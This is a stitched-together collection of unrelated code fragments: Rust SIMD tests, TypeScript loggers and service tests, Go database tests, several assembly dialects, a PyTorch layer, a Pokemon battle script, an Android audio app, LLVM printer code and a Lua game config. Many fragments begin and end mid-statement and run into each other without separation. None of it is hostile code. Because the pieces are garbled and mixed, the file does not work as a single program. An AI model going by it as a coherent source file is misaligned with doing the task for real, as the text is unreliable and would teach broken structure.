    test_vtbl2_p8 => vtbl2_p8:
    - table[poly8x8x2_t]: [
        0_u8, 17, 34, 51, 68, 85, 102, 119,
        136, 153, 170, 187, 204, 221, 238, 255
    ] |
    - ctrl[u8x8]: [127_u8, 15, 1, 14, 2, 13, 3, 12] => [0_u8, 255, 17, 238, 34, 221, 51, 204] |
    - ctrl[u8x8]: [4_u8, 11, 16, 10, 6, 19, 7, 18] => [68_u8, 187, 0, 170, 102, 0, 119, 0]
);

test_vtbl!(
    test_vtbl3_s8 => vtbl3_s8:
    - table[int8x8x3_t]: [
        0_i8, -17, 34, 51, 68, 85, 102, 119,
        -106, -93, -84, -117, -104, -116, -72, -121,
        0, 1, -2, 3, 4, -5, 6, 7
    ] |
    - ctrl[i8x8]: [127_i8, 15, 1, 19, 2, 13, 21, 12] => [0_i8, -121, -17, 3, 34, -116, -5, -104] |
    - ctrl[i8x8]: [4_i8, 11, 16, 10, 6, -27, 7, 18] => [68_i8, -117, 0, -84, 102, 0, 119, -2]
);

test_vtbl!(
    test_vtbl3_u8 => vtbl3_u8:
    - table[uint8x8x3_t]: [
        0_u8, 17, 34, 51, 68, 85, 102, 119,
        136, 153, 170, 187, 204, 221, 238, 255,
        0, 1, 2, 3, 4, 5, 6, 7
    ] |
    - ctrl[u8x8]: [127_u8, 15, 1, 19, 2, 13, 21, 12] => [0_u8, 255, 17, 3, 34, 221, 5, 204] |
    - ctrl[u8x8]: [4_u8, 11, 16, 10, 6, 27, 7, 18] => [68_u8, 187, 0, 170, 102, 0, 119, 2]
);

test_vtbl!(
    test_vtbl3_p8 => vtbl3_p8:
    - table[poly8x8x3_t]: [
        0_u8, 17, 34, 51, 68, 85, 102, 119,
        136, 153, 170, 187, 204, 221, 238, 255,
        0, 1, 2, 3, 4, 5, 6, 7


; color: #303030";
                    break;
                case LogLevel.Debug:
                    style = "background: #FFF; color: #00ffed";
                    break;
                case LogLevel.Information:
                    style = "background: #FFF; color: #00ff65";
                    break;
                case LogLevel.Warning: // yellow
                    style = "background: #FFF; color: #ffb600";
                    break;
                case LogLevel.Error: // red
                    style = "background: #FFF; color: #F00";
                    break;
                case LogLevel.Critical: // red?!?
                    style = "background: #F00; color: #FFF";
                    break;
            }

            console.log("%c " + this.logLevelToString(logLevel) + ": (" + scope + ") " + message + " ", style);

            if (error) {
                console.log("%c " + this.logLevelToString(logLevel) + ": (" + scope + ") " + error.message + " ", style);
                console.log("%c " + this.logLevelToString(logLevel) + ": (" + scope + ") " + error.stack + " ", style);
            }
        }
    }

    logLevelToString(logLevel: LogLevel): string {
        switch (logLevel) {
        case LogLevel.Trace:
            return "Trace";
        case LogLevel.Information:
            return "Information";
        case LogLevel.Debug:
            return "Debug";
        case LogLevel.Warning:
            return "Warning";
        case LogLevel.Error:
            return "Error";
        case LogLevel.Critical:
            return "Critical";
        default:
            return "";
        }
    }

    private parseQueryString(key: string): string {
        let queryString = window.location.search.substring(1);
        let value = "100";
        let queries: string[] = queryString.split("&");

        queries.forEach((indexQuery: string) => {
            var indexPair = indexQuery.split("=");

            var queryKey: string = decodeURIComponent(indexPair[0]).toLocaleLowerCase();
            var queryValue: string = decodeURIComponent(indexPair.length > 1 ? indexPair[1] : "").toLocaleLowerCase();

            if (queryKey == key) {
                value = queryValue;
            }
        });

        return value;
    }
}

if (log) {
    log.loggers.push(new ConsoleLogger());
}import _ from 'lodash';
import { StoreState } from '../store/type';
import { Cage } from '../types/cage';
import { ChatUpdate } from '../types/chat-update';
import { ChatHookUpdate } from '../types/chat-hook-update';

type ChatState = Pick<StoreState, 'chatInitialized' | 'chatSynced' | 'inbox' | 'pendingMessages'>;

export default class ChatReducer<S extends ChatState> {
  reduce(json: Cage, state: S) {
    const data = json['chat-update'];
    if (data) {
      this.initial(data, state);
      this.pending(data, state);
      this.message(data, state);
      this.messages(data, state);
      this.read(data, state);
      this.create(data, state);
      this.delete(data, state);
    }

    const hookUpdate = json['chat-hook-update'];
    if (hookUpdate) {
      this.hook(hookUpdate, state);
    }
  }

  initial(json: ChatUpdate, state: S) {
    const data = _.get(json, 'initial', false);
    if (data) {


name).to.equal(mockCheck.name);
    });

    it("should fail if the provided check fails", async () => {
      const result = await securityService.check(new MockCheck(false));
      assert.isFalse(result.passed);
    });
  });

  describe("#checkMany", () => {
    it("should allow for no arguments", async () => {
      const results = await securityService.checkMany();
      expect(results.length).to.equal(0);
    });

    it("should run multiple checks", async () => {
      const results = await securityService.checkMany(new MockCheck(true), new MockCheck(false));
      expect(results.length).to.equal(2);
      assert(results[0].passed);
      assert.isFalse(results[1].passed);
    });
  });
});
import { mockArticles, mockArticlesData, mockComments } from '@/entities'
import { ArticlesService } from './articles'

describe('>>> Articles Service', () => {
  const service = new ArticlesService(mockArticlesData())

  describe('>> getMany', () => {
    it('should return all data', () => {
      expect(service.getAll()).toEqual(mockArticlesData())
    })
  })

  describe('>> getOneById', () => {
    it('should return one article by provided id', () => {
      const article = mockArticles()[1]
      const id = article.id as number
      expect(service.getOneById(id)).toEqual(article)
    })

    it('should return undefined if no article found', () => {
      expect(service.getOneById(111111)).toBeUndefined()
    })
  })

  describe('>> createComment', () => {
    const data = mockComments()[0]
    it('should add new comment to provided article and return it', () => {
      const article = mockArticles()[0]
      const id = article.id as number
      const commentsAmount = article.comments.length

      const newArticle = service.createComment(id, data)
      expect(newArticle.id).toEqual(article.id)
      expect(newArticle.comments.length).toBe(commentsAmount + 1)
    })

    it('should throw an error if article with provided id doesn\'t exist', () => {
      expect(() => { service.createComment(11111, data) }).toThrow()
    })

    it('should throw an error if comment is not valid', () => {
      const data = {
        ...mockComments()[0],
        title: ''
      }
      expect(() => { service.createComment(1, data) }).toThrow()
    })
  })
})
/*!
 * Copyright (c) Microsoft Corporation and contributors. All rights reserved.
 * Licensed under the MIT License.
 */

export const enum Handle {
	/** Minimum valid handle. */
	valid = 1,

	/** Sentinel representing an unallocated Handle. */
	unallocated = -0x80000000,
}

export const isHandleValid = (handle: Handle) => handle >= Handle.valid;

/**
 * A handle table provides a fast mapping from an integer `handle` to a value `T`.
 */
export class HandleTable<T> {
	// Note: the first slot of the 'handles' array is reserved to store the pointer to the first
	//       free handle.  We initialize this slot with a pointer to slot '1', which will cause
	//       us to delay allocate the following slot in the array on the first allocation.
	public constructor(private readonly handles: (Handle | T)[] = [1]) {}

	public clear() {
		// Restore the HandleTable's initial state by deleting all items in the handles array
		// and then re-inserting the value '1' in the 0th slot.  (See comment at `handles` decl
		// for explanation.)
		this.handles.splice(0, this.handles.length, 1);
	}

	/**
	 * Allocates and returns the next available handle.  Note that freed handles are recycled.
	 */
	public allocate(): Handle {
		const f


chers
                .contains(&peer),
            false
        );
    }

    #[tokio::test]
    async fn memory_peer_storage_promote_leecher() {
        let peer_store = PeerStore::new();
        let info_hash = "A1B2C3D4E5F6G7H8I9J0".to_string();
        let peer = Peer::V4(Peerv4 {
            peer_id: "ABCDEFGHIJKLMNOPQRST".to_string(),
            ip: Ipv4Addr::LOCALHOST,
            port: 6893,
            last_announced: Instant::now(),
        });

        peer_store
            .put_leecher(info_hash.clone(), peer.clone())
            .await;
        peer_store
            .promote_leecher(info_hash.clone(), peer.clone())
            .await;

        assert_eq!(
            peer_store
                .records
                .read()
                .await
                .get(&info_hash)
                .unwrap()
                .seeders
                .contains(&peer),
            true
        );
    }

    #[tokio::test]
    async fn memory_peer_storage_update_peer() {
        let peer_store = PeerStore::new();
        let info_hash = "A1B2C3D4E5F6G7H8I9J0".to_string();
        let peer = Peer::V4(Peerv4 {
            peer_id: "ABCDEFGHIJKLMNOPQRST".to_string(),
            ip: Ipv4Addr::LOCALHOST,
            port: 6893,
            last_announced: Instant::now(),
        });

        peer_store
            .put_leecher(info_hash.clone(), peer.clone())
            .await;

        let peer2 = Peer::V4(Peerv4 {
            peer_id: "ABCDEFGHIJKLMNOPQRST".to_string(),
            ip: Ipv4Addr::LOCALHOST,
            port: 6893,
            last_announced: Instant::now(),
        });

        peer_store
            .update_peer(info_hash.clone(), peer2.clone())
            .await;

        assert_eq!(
            peer_store
                .records
                .read()
                .await
                .get(&info_hash)
                .unwrap()
                .leechers
                .contains(&peer2),
            true
        );
    }
}
<reponame>equation314/aarch64
// SPDX-License-Identifier: Apache-2.0 OR MIT
//
// Copyright (c) 2020-2021 by the author(s)
//
// Author(s):
//   - <NAME> <<EMAIL>>

//! Read/Write Software Thread ID Register - EL0.
//!
//! Provides a location where software executing at EL0 can store thread identifying information,
//! for OS management purposes.

use register::cpu::RegisterReadWrite;

pub struct Reg;

impl RegisterReadWrite<u64, ()> for Reg {
    sys_coproc_read_raw!(u64, "TPIDR_EL0", "x");
    sys_coproc_write_raw!(u64, "TPIDR_EL0", "x");
}

pub static TPIDR_EL0: Reg = Reg {};
use crate::{Actor, Container};
use glib::{object::IsA, translate::*};
use std::fmt;

glib_wrapper! {
    pub struct ChildMeta(Object<ffi::ClutterChildMeta, ffi::ClutterChildMetaClass, ChildMetaClass>);

    match fn {
        get_type => || ffi::clutter_child_meta_get_type(),
    }
}

pub const NONE_CHILD_META: Option<&ChildMeta> = None;

/// Trait containing all `ChildMeta` methods.
///
/// # Implementors
///
/// [`ChildMeta`](struct.ChildMeta.html), [`LayoutMeta`](struct.LayoutMeta.html)
pub trait ChildMetaExt: 'static {
    /// Retrieves the actor wrapped by `self`
    ///
    /// # Returns


/marusama/semaphore"
	"github.com/stretchr/testify/require"
)

func TestExternalHashAggregator(t *testing.T) {
	defer leaktest.AfterTest(t)()
	defer log.Scope(t).Close(t)
	ctx := context.Background()
	st := cluster.MakeTestingClusterSettings()
	evalCtx := tree.MakeTestingEvalContext(st)
	defer evalCtx.Stop(ctx)
	flowCtx := &execinfra.FlowCtx{
		EvalCtx: &evalCtx,
		Cfg: &execinfra.ServerConfig{
			Settings: st,
		},
		DiskMonitor: testDiskMonitor,
	}

	queueCfg, cleanup := colcontainerutils.NewTestingDiskQueueCfg(t, true /* inMem */)
	defer cleanup()
	var monitorRegistry colexecargs.MonitorRegistry
	defer monitorRegistry.Close(ctx)

	rng, _ := randutil.NewTestRand()
	numForcedRepartitions := rng.Intn(5)
	for _, cfg := range []struct {
		diskSpillingEnabled bool
		spillForced         bool
		memoryLimitBytes    int64
	}{
		{
			diskSpillingEnabled: true,
			spillForced:         true,
		},
		{
			diskSpillingEnabled: true,
			spillForced:         false,
		},
		{
			diskSpillingEnabled: false,
		},
		{
			diskSpillingEnabled: true,
			spillForced:         false,
			memoryLimitBytes:    hashAggregatorAllocSize * sizeOfAggBucket,
		},
		{
			diskSpillingEnabled: true,
			spillForced:         false,
			memoryLimitBytes:    hashAggregatorAllocSize * sizeOfAggBucket * 2,
		},
	} {
		HashAggregationDiskSpillingEnabled.Override(ctx, &flowCtx.Cfg.Settings.SV, cfg.diskSpillingEnabled)
		flowCtx.Cfg.TestingKnobs.ForceDiskSpill = cfg.spillForced
		flowCtx.Cfg.TestingKnobs.MemoryLimitBytes = cfg.memoryLimitBytes
		for _, tc := range append(aggregatorsTestCases, hashAggregatorTestCases...) {
			if len(tc.groupCols) == 0 {
				// If there are no grouping columns, then the ordered
				// aggregator is planned.
				continue
			}
			if tc.aggFilter != nil {
				// Filtering aggregation is not supported with the ordered
				// aggregation which is required for the external hash
				// aggregator in the fallback strategy.
				continue
			}
			log.Infof(ctx, "diskSpillingEnabled=%t/spillForced=%t/memoryLimitBytes=%d/numRepartitions=%d/%s", cfg.diskSpillingEnabled, cfg.spillForced, cfg.memoryLimitBytes, numForcedRepartitions, tc.name)
			constructors, constArguments, outputTypes, err := colexecagg.ProcessAggregations(
				&evalCtx, nil /* semaCtx */, tc.spec.Aggregations, tc.typs,
			)
			require.NoError(t, err)
			verifier := colexectestutils.OrderedVerifier
			if tc.unorderedInput {
				verifier = colexectestutils.UnorderedVerifier
			} else if len(tc.orderedCols) > 0 {
				verifier = colexectestutils.PartialOrderedVerifier
			}
			var numExpectedClosers int
			if cfg.diskSpillingEnabled {
				// The external sorter and the disk spiller should be added
				// as Closers (the latter is responsible for closing the
				// in-memory hash aggregator as well as the external one).
				numExpectedClosers = 2
				if len(tc.spec.OutputOrdering.Columns) > 0 {
					// When the output ordering is required, we also plan
					// another external sort.
					numExpectedClosers++
				}
			} else {
				// Only the


6] convert second 4 pixels (lower 4 bits)
	ldr	r7,[r5,#4]	// [2] load mask for lower 4 bits
	ands	r7,r6		// [1] mask foreground color
	eors	r7,r4		// [1] combine with background color
	stmia	r0!,{r7}	// [2] store second 4 pixels

	// [2,3] loop counter
	subs	r1,#2		// [1] shift loop counter
	bhi	RenderCText_InLoop // [1,2] > 0, render next whole character

// ---- end inner loop, continue with last character, or start new part

	// continue to outer loop
	ldr	r7,[sp,#32]	// load wrap width
	beq	RenderCText_Last // render 1st half of last character
	ldr	r2,[sp,#4]	// get base pointer to text data -> R2
	b	RenderCText_OutLoop // go back to outer loop

	.align 2
RenderCText_Addr:
	.word	RenderTextMask
RenderCText_pSioBase:
	.word	SIO_BASE	// addres of SIO base


{ .mfi
	nop	__LINE__
	FNMA	f85  = f69,  f34, f85
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFD	f53 = [BOFFSET], 1 * SIZE
	FNMA	f82  = f66,  f34, f82
	nop	__LINE__
	}
	{ .mfi
	nop	__LINE__
	FNMA	f86  = f70,  f34, f86
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f54, f55 = [BOFFSET], 2 * SIZE
	FNMA	f83  = f67,  f34, f83
	nop	__LINE__
	}
	{ .mfi
	nop	__LINE__
	FNMA	f87  = f71,  f34, f87
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f56, f57 = [BOFFSET]
	FNMA	f88  = f64,  f35, f88
	adds	BOFFSET = 6 * SIZE, BOFFSET
	}
	{ .mfi
	nop	__LINE__
	FNMA	f92  = f68,  f35, f92
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f58, f59 = [BOFFSET], 2 * SIZE
	FNMA	f89  = f65,  f35, f89
	nop	__LINE__
	}
	{ .mfi
	nop	__LINE__
	FNMA	f93  = f69,  f35, f93
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f60, f61 = [BOFFSET]
	FNMA	f90  = f66,  f35, f90
	adds	BOFFSET = 7 * SIZE, BOFFSET
	}
	{ .mfi
	nop	__LINE__
	FNMA	f94  = f70,  f35, f94
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFD	f16 = [BOFFSET], 1 * SIZE
	FNMA	f91  = f67,  f35, f91
	nop	__LINE__
	}
	{ .mfi
	nop	__LINE__
	FNMA	f95  = f71,  f35, f95
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f17, f18 = [BOFFSET]
	FNMA	f96  = f64,  f36, f96
	adds	BOFFSET = 8 * SIZE, BOFFSET
	}
	{ .mfi
	nop	__LINE__
	FNMA	f100 = f68,  f36, f100
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFPD	f19, f20 = [BOFFSET]
	FNMA	f97  = f65,  f36, f97
	adds	BOFFSET = 9 * SIZE, BOFFSET
	}
	{ .mfi
	nop	__LINE__
	FNMA	f101 = f69,  f36, f101
	nop	__LINE__
	}
	;;
	{ .mfi
	LDFD	f21 = [BOFFSET]
	FNMA	f98  = f66,  f36, f98
	adds	BOFFSET = -63 * SIZE, BOFFSET
	}
	{ .mfi
	nop	__LINE__
	FNMA	f102 = f70,  f36, f102
	nop	__LINE__
	}
	;;
	{ .mfi
	nop	__LINE__
	FNMA	f99  = f67,  f36, f99
	nop	__LINE__
	}
	{ .mfi


; XMAS 2023

;
; by deater (Vince Weaver) <vince@deater.net>

xmas_start:

	;=====================
	; initializations
	;=====================

	jsr	hardware_detect

	jsr	hgr_make_tables

	;===================
	; restart?
	;===================
restart:

	lda	#0
	sta	DRAW_PAGE

	;==================================
	; load music into the language card
	;       into $D000 set 1
	;==================================

	; read/write RAM, use $d000 bank1
	bit	$C083
	bit	$C083

	lda	#0			; load MUSIC from disk
	sta	WHICH_LOAD

	jsr	load_file

	lda	#0
	sta	DONE_PLAYING

	lda	#1
	sta	LOOP

	; patch mockingboard

	lda	SOUND_STATUS
	beq	skip_mbp1

        jsr     mockingboard_patch      ; patch to work in slots other than 4?

skip_mbp1:

	;=======================
	; Set up 50Hz interrupt
	;========================

	jsr	mockingboard_init
	jsr	mockingboard_setup_interrupt

	;============================
	; Init the Mockingboard
	;============================

	jsr	reset_ay_both
	jsr	clear_ay_both

	;==================
	; init song
	;==================

	jsr	pt3_init_song

dont_enable_mc:

skip_all_checks:

	;=======================
	;=======================
	; Print message
	;=======================
	;=======================

	; print non-inverse

	jsr	set_normal

	lda	SOUND_STATUS
	and	#SOUND_MOCKINGBOARD
	beq	print_no_mock

print_mock:
	lda	MB_ADDR_H
	and	#$7
	clc
	adc	#$B0
	sta	mockingboard


eof(HttpMethod.Post), StringComparison.OrdinalIgnoreCase);

        /// <summary>
        /// Gets a value indicating whether the content-type of the http request is set to <c>application/graphql</c>.
        /// </summary>
        /// <value>A value indicating if the http post body content type represents a graphql query.</value>
        public virtual bool IsGraphQLBody => string.Equals(this.HttpContext.Request.ContentType, Constants.Web.GRAPHQL_CONTENT_TYPE_HEADER_VALUE, StringComparison.OrdinalIgnoreCase);
    }
}


   attention_mask,
            memory_state
        )
        hidden_states = self.layer_norm1(residual + attention_output)

        # Feed forward
        residual = hidden_states
        hidden_states = self.intermediate(hidden_states)
        hidden_states = F.gelu(hidden_states)
        hidden_states = self.output(hidden_states)
        hidden_states = self.dropout(hidden_states)
        hidden_states = self.layer_norm2(residual + hidden_states)

        # Update memory state
        if self.training:
            # Only update memory every update_rate steps
            if (self.level_idx + 1) % self.update_rate == 0:
                memory_key = self.memory_key(hidden_states)
                memory_value = self.memory_value(hidden_states)
                new_memory = torch.cat([memory_key, memory_value], dim=-1)
            else:
                new_memory = memory_state if memory_state is not None else None
        else:
            memory_key = self.memory_key(hidden_states)
            memory_value = self.memory_value(hidden_states)
            new_memory = torch.cat([memory_key, memory_value], dim=-1)

        return hidden_states, new_memory


, %r28
T0_hwint_537:
!$EV trig_pc_d(0,expr(@VA(.MAIN.T0_hwint_537), 16, 16)) -> intp(0, 0, 30)
T0_hwint_538:
!$EV trig_pc_d(0,expr(@VA(.MAIN.T0_hwint_538), 16, 16)) -> intp(0, 0, 8)
	ta	T_CHANGE_HPRIV
	mov	0x80, %g1
	mov	0x140, %g2
	stxa	%g2, [%g1] 0x40
	mov	0x38, %g1
	stxa	%r20, [%g1] 0x58
	wrpr	%g0, 0, %tick
	wr	%g0, 0xb4, %tick_cmpr
	wr	%g0, 0xce, %sys_tick_cmpr
	wrhpr	%g0, 0x95, %hsys_tick_cmpr
	.word 0x81983859  ! 3998: WRHPR_HPSTATE_I	wrhpr	%r0, 0x1859, %hpstate
T0_hwint_539:
!$EV trig_pc_d(0,expr(@VA(.MAIN.T0_hwint_539), 16, 16)) -> intp(0, 0, d)
	.word 0xf5bdcc20  ! 4000: STDFA_R	stda	%f26, [%r0, %r23]
	.word 0xf8cc4580  ! 4001: LDSBA_R	ldsba	[%r17, %r0] 0x2c, %r28
T0_irf_ce_324:
!$EV error(0,expr(@VA(.MAIN.T0_irf_ce_324), 16, 16),1,IRF,ce,59,38, x,x,x, x,x,x)
	.word 0xf08dd640  ! 4003: LDUBA_R	lduba	[%r23, %r0] 0xb2, %r24
	.word 0xb624c000  ! 4003: SUB_R	sub 	%r19, %r0, %r27
	.word 0xf3346069  ! 4004: STQF_I	-	%f25, [0x0069, %r17]
	.word 0xf21d6028  ! 4005: LDD_I	ldd	[%r21 + 0x0028], %r25
	.word 0xfd95e0bc  ! 4006: LDQFA_I	-	[%r23, 0x00bc], %f30
	.word 0xff9489e0  ! 4007: LDQFA_R	-	[%r18, %r0], %f31
	.word 0xf93cc000  ! 4008: STDF_R	std	%f28, [%r0, %r19]
T0_irf_ce_325:
!$EV error(0,expr(@VA(.MAIN.T0_irf_ce_325), 16, 16),1,IRF,ce,48,10, x,x,x, x,x,x)
	.word 0xb29d2069  ! 4010: XORcc_I	xorcc 	%r20, 0x0069, %r25
T0_hwint_540:
!$EV trig_pc_d(0,expr(@VA(.MAIN.T0_hwint_540), 16, 16)) -> intp(0, 0, 2a)
T0_irf_ce_326:
!$EV error(0,expr(@VA(.MAIN.T0_irf_ce_326), 16, 16),1,IRF,ce,14,28, x,x,x, x,x,x)
	.word 0xb4b5a0f0  ! 4012: ORNcc_I	orncc 	%r22, 0x00f0, %r26
T0_hwint_541:
!$EV trig_pc_d(0,expr(@VA(.MAIN


r i, move in enumerate(validMoves)]

        team=self.battleContext.teams[self.teamIdx]
        swapNames=[DropdownItem(f'{trainer.name}: {pokemon.name}', (trainer, pokemon)) for trainer in team.trainers for pokemon in trainer.getBenchedPokemon()]

        showDropdown(battleContext=self.battleContext, team=self.teamIdx, text='Select a move:', values=moveNames)
        showSwapDropdown(battleContext=self.battleContext, team=self.teamIdx, text='', values=swapNames)
        v=waitForSubmit(self.battleContext, self.teamIdx)
        hideDropdown(battleContext=self.battleContext, team=self.teamIdx)
        hideSwapDropdown(self.battleContext, self.teamIdx)

        action=None
        if v[f'team{self.teamIdx+1}DDChoice']!='':
            move=validMoves[v[f'team{self.teamIdx+1}DDChoice'].id]
            targetsLoc=move.select(self.battleContext, attackerLoc=self)
            action=MoveAction(self.battleContext.turn, move, self, targetsLoc)
        if v[f'team{self.teamIdx+1}DDSwapChoice']!='':
            trainer, pokemon=v[f'team{self.teamIdx+1}DDSwapChoice'].id
            action=SwapAction(self.battleContext.turn, self, pokemon, trainer)
        return action

    def clear(self):
        """Clears the slot and handles pokemon states accordingly"""
        if self.pokemon is None:
            return
        assert self.pokemon.state!=State.BENCHED
        if self.pokemon.state==State.ACTIVE:
            self.pokemon.state=State.BENCHED

        self.pokemon=None
        self.trainer=None

    def swapPokemon(self, trainer, pokemon):
        """Swaps pokemon off this slot in place for a new pokemon and their trainer.

        Arguments:
            trainer (Trainer): Trainer of pokemon to be swapped in
            pokemon (Pokemon): Pokemon to be swapped in
        """
        assert pokemon.state==State.BENCHED

        if self.pokemon is None:
            self.battleContext.window['combatLog'].update(f'Sending out {pokemon.name}!\n', append=True)
        else:
            self.battleContext.window['combatLog'].update(f'Swapped {self.pokemon.name} and {pokemon.name}!\n', append=True)

        self.clear()
        self.pokemon=pokemon
        self.pokemon.state=State.ACTIVE
        self.trainer=trainer

    # Enforces that battleContext is set before used
    @property
    def battleContext(self):
        if not hasattr(self, '_battleContext') or self._battleContext is None:
            raise AttributeError(f'{self.__class__.__name__} is missing battleContext.')
        return self._battleContext

    @battleContext.setter
    def battleContext(self, val):
        self._battleContext=val

    def setBattleContext(self, battleContext):
        """Sets battle context"""
        self.battleContext=battleContext


 android.view.Menu
import android.view.MenuItem
import android.view.ViewGroup
import android.view.animation.AccelerateDecelerateInterpolator
import android.view.animation.Animation
import android.view.animation.AnimationUtils
import android.widget.ActionMenuView
import androidx.appcompat.app.AppCompatActivity
import androidx.appcompat.view.menu.ActionMenuItemView
import com.paramsen.noise.Noise
import com.paramsen.noise.sample.R
import com.paramsen.noise.sample.databinding.ActivityMainBinding
import com.paramsen.noise.sample.source.AudioSource
import io.reactivex.Flowable
import io.reactivex.disposables.CompositeDisposable
import io.reactivex.functions.Function
import io.reactivex.schedulers.Schedulers

class MainActivity : AppCompatActivity() {
    val TAG = javaClass.simpleName!!

    lateinit var binding: ActivityMainBinding

    val disposable: CompositeDisposable = CompositeDisposable()

    val p0 = Profiler("p0")
    val p1 = Profiler("p1")
    val p2 = Profiler("p2")
    val p3 = Profiler("p3")

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        binding = ActivityMainBinding.inflate(layoutInflater)
        setContentView(binding.root)

        scheduleAbout()
    }

    override fun onResume() {
        super.onResume()

        if (requestAudio() && disposable.size() == 0)
            start()
    }

    override fun onStop() {
        stop()
        super.onStop()
    }

    /**
     * Subscribe to microphone
     */
    private fun start() {
        val src = AudioSource().stream()
        val noise = Noise.real(4096)

        //AudioView
        disposable.add(src.observeOn(Schedulers.newThread())
                .doOnNext { p0.next() }
                .subscribe(binding.audioView::onWindow, { e -> Log.e(TAG, e.message, e) }))
        //FFTView
        disposable.add(src.observeOn(Schedulers.newThread())
                .doOnNext { p1.next() }
                .map {
                    for (i in it.indices)
                        it[i] *= 2.0f
                    return@map it
                }
                .map { noise.fft(it, FloatArray(4096 + 2)) }
                .doOnNext { p3.next() }
                .subscribe({ fft ->
                    binding.fftHeatMapView.onFFT(fft)
                    binding.fftBandView.onFFT(fft)
                }, { e -> Log.e(TAG, e.message, e) }))

        binding.tip.schedule()
    }

    /**
     * Dispose microphone subscriptions
     */
    private fun stop() {
        disposable.clear()
    }

    /**
     * Output windows of 4096 len, ~10/sec for 44.1khz, accumulates for FFT
     */
    private fun accumulate(o: Flowable<FloatArray>): Flowable<FloatArray> {
        val size = 4096

        return o.map(object : Function<FloatArray, FloatArray> {
            val buf = FloatArray(size * 2)
            val empty = FloatArray(0)
            var c = 0

            override fun apply(window: FloatArray): FloatArray {
                System.arraycopy(window, 0, buf, c, window.size)
                c += window.size

                if (c >= size) {
                    val out = FloatArray(size)
                    System.arraycopy(buf, 0, out, 0, size)

                    if (c > size) {
                        System.arraycopy(buf, c % size, buf, 0, c % size)
                    }

                    c = 0

                    return out
                }

                return empty
            }
        }).filter { fft -> fft.size == size } //filter only the emissions of complete 4096 windows
    }

    private fun accumulate1(o: Flowable<FloatArray>): Flowable<FloatArray>


gConv::PreserveAll:   Out << "preserve_allcc"; break;
  case CallingConv::GHC:           Out << "ghccc"; break;
  case CallingConv::X86_StdCall:   Out << "x86_stdcallcc"; break;
  case CallingConv::X86_FastCall:  Out << "x86_fastcallcc"; break;
  case CallingConv::X86_ThisCall:  Out << "x86_thiscallcc"; break;
  case CallingConv::X86_VectorCall:Out << "x86_vectorcallcc"; break;
  case CallingConv::Intel_OCL_BI:  Out << "intel_ocl_bicc"; break;
  case CallingConv::ARM_APCS:      Out << "arm_apcscc"; break;
  case CallingConv::ARM_AAPCS:     Out << "arm_aapcscc"; break;
  case CallingConv::ARM_AAPCS_VFP: Out << "arm_aapcs_vfpcc"; break;
  case CallingConv::MSP430_INTR:   Out << "msp430_intrcc"; break;
  case CallingConv::PTX_Kernel:    Out << "ptx_kernel"; break;
  case CallingConv::PTX_Device:    Out << "ptx_device"; break;
  case CallingConv::X86_64_SysV:   Out << "x86_64_sysvcc"; break;
  case CallingConv::X86_64_Win64:  Out << "x86_64_win64cc"; break;
  case CallingConv::SPIR_FUNC:     Out << "spir_func"; break;
  case CallingConv::SPIR_KERNEL:   Out << "spir_kernel"; break;
  }
}

// PrintEscapedString - Print each character of the specified string, escaping
// it if it is not printable or if it is an escape char.
static void PrintEscapedString(StringRef Name, raw_ostream &Out) {
  for (unsigned i = 0, e = Name.size(); i != e; ++i) {
    unsigned char C = Name[i];
    if (isprint(C) && C != '\\' && C != '"')
      Out << C;
    else
      Out << '\\' << hexdigit(C >> 4) << hexdigit(C & 0x0F);
  }
}

enum PrefixType {
  GlobalPrefix,
  ComdatPrefix,
  LabelPrefix,
  LocalPrefix,
  NoPrefix
};

/// PrintLLVMName - Turn the specified name into an 'LLVM name', which is either
/// prefixed with % (if the string only contains simple characters) or is
/// surrounded with ""'s (if it has special chars in it).  Print it out.
static void PrintLLVMName(raw_ostream &OS, StringRef Name, PrefixType Prefix) {
  assert(!Name.empty() && "Cannot get empty name!");
  switch (Prefix) {
  case NoPrefix: break;
  case GlobalPrefix: OS << '@'; break;
  case ComdatPrefix: OS << '$'; break;
  case LabelPrefix:  break;
  case LocalPrefix:  OS << '%'; break;
  }

  // Scan the name to see if it needs quotes first.
  bool NeedsQuotes = isdigit(static_cast<unsigned char>(Name[0]));
  if (!NeedsQuotes) {
    for (unsigned i = 0, e = Name.size(); i != e; ++i) {
      // By making this unsigned, the value passed in to isalnum will always be
      // in the range 0-255.  This is important when building with MSVC because
      // its implementation will assert.  This situation can arise when dealing
      // with UTF-8 multibyte characters.
      unsigned char C = Name[i];
      if (!isalnum(static_cast<unsigned char>(C)) && C != '-' && C != '.' &&
          C != '_') {
        NeedsQuotes = true;
        break;
      }
    }
  }

  // If we didn't need any quotes, just write out the name in one blast.
  if (!NeedsQuotes) {
    OS << Name;
    return;
  }

  // Okay, we need quotes.  Output the quotes and escape any scary characters as
  // needed


 Buyer"
    },

}

Config.Picking = {
    [1] = {
        zones = {
            vector2(1593.047, 2161.669),
            vector2(1592.131, 2156.931),
            vector2(1588.29, 2158.757),
            vector2(1589.696, 2162.112),
        },
        minz = 76.0,
        maxz = 82.0,
    },
    [2] = {
        zones = {
            vector2(1589.792, 2172.557),
            vector2(1592.402, 2173.53),
            vector2(1589.273, 2177.923),
            vector2(1587.655, 2175.604),
        },
        minz = 76.0,
        maxz = 82.0,
    },
}

Config.Packing = {
    {
        zones = {
            vector2(1543.099, 2177.461),
            vector2(1543.377, 2179.69),
            vector2(1540.231, 2179.584),
            vector2(1539.934, 2177.412),
        },
        minz = 75.0,
        maxz = 81.0,
    },
}


litArray.length === 0) {
        throw new Error('Empty String received.');
    }

    return splitArray;
}

function toCamelCase(target: string[]) {
    const array = [...target];
    const [firstWord, ...rest] = array;
    return (
        firstWord.toLowerCase() +
        rest.reduce((acc, curr) => {
            const word = curr[0].toUpperCase() + curr.slice(1);
            return acc + word;
        }, '')
    );
}

function toKebabCase(target: string[]) {
    const array = [...target];
    return array.join('-').toLowerCase();
}

function toPascalCase(target: string[]) {
    const array = [...target];
    return array.reduce((acc, curr) => {
        const word = curr[0].toUpperCase() + curr.slice(1);
        return acc + word;
    }, '');
}

export const NameUtil = Object.freeze({
    transformCase,
});
